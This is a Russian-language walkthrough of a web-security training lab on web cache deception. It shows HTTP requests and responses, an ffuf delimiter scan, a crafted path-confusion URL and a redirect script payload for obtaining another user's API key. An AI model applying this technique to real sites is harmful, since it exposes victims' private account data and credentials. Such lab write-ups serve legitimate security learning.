Для прохождения лабы нужно найти API-ключи пользователя carlos с помощью Web cache deception.
Для входа в свою учетную запись можно использовать креды wiener:peter.
https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/
Solution
Зайдем в личный кабинет. Попробуем посмотреть, какие ресурсы кэширует веб-сервер. Нашел запрос к статическому ресурсу, который кэшируется:
GET /resources/js/tracking.js HTTP/2
Host: 0a1a004203e3db3880ab21a700c90051.web-security-academy.net
Cookie: session=OLj3BzuRT25z8Ym7ZCblnYtZSkNcockE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Ответ:
HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 70
document.write('<img src="/resources/images/tracker.gif?page=post">');
Попробую найти примерное правило кэширования. Для этого заменю tracking.js на рандомные символы. Если ответ будет кэширован, значит правило кэширует ресурсы по статическому пути:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 11
"Not Found"
Я получил 404, но ответ кэшировался. А значит файлы в /resourses кэшируются всегда. Посмотрю нормализацию пути. Для этого добавлю /aaa/..%2f в начало — /aaaa/..%2fresources/js/tracking.js:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 11
"Not Found"
Ответ так же кэшировался. Попробую добавить /aaaa/..%2f после пути /resources — /resources/aaaa/..%2fjs/tracking.js.
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 11
"Not Found"
Ответ все равно кэшировался. Значит путь преобразовался к нормальному виду до кэширования.
Теперь посмотрю то, как нормализуется путь к динамическим ресурсам. Для этого буду работать с запросом к /my-account:
GET /my-account HTTP/2
Host: 0a1a004203e3db3880ab21a700c90051.web-security-academy.net
Cookie: session=OLj3BzuRT25z8Ym7ZCblnYtZSkNcockE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Попробую добавить рандомные символы к пути — /my-account/aaaa:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11
"Not Found"
Значит такой способ не подходит. Попробую добавить /aaa/..%2f к началу пути:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11
"Not Found"
Все еще не то( Хмм… А если наоборот подставить в конец? — /my-account%2f%2e%2e%2aaaa:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11
"Not Found"
Тоска( Видимо путь на сервере не нормализуется. Попробую добавить /resourses к пути динамического ресурса. Посмотрю, какие разделители обрабатывает сервер. Для этого использую ffuf. В целом, это можно сделать и в Burp, но я хочу так)
ffuf -u https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/my-accountFUZZaaa \
-w wordlists/webcache_delimeters.txt
Вывод:
% [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 91ms]
? [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 165ms]
# [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 171ms]
%23 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 176ms]
/ [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 136ms]
%2F 3 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 65ms]
%3F [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 81ms]
%00 [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 72ms]
В качестве разделителя сервер принимает %, ?, #, / и %00. Я знаю, что путь к кэшируемым ресурсам нормализуется до кэширования, поэтому путь следующего формата должен кэшироваться — /my-account#%2f..%2fresourses. Проверю это:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3866
...
Сработало. Теперь нужно скрафтить пейлоад. Для пейлоада буду использовать URL — https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/my-account#%2f..%2fresources/pwned. В качестве файла с нагрузкой использую HTML:
<script>document.location="https://0a1a004203e3db3880ab21a700c90051.web-security-academy.net/my-account#%2f..%2fresources/pwned"</script>

Это не сработало. А почему? Попробую закодировать символы — это не помогло…
Прошел час.. Была выпита одна чашка кофе.. Я решил попробовать написать html полностью. И о чудо, оно сработало…

Долгожданный API-key:

Мда уж. Иногда стоит взять перерыв. А лаба решена:
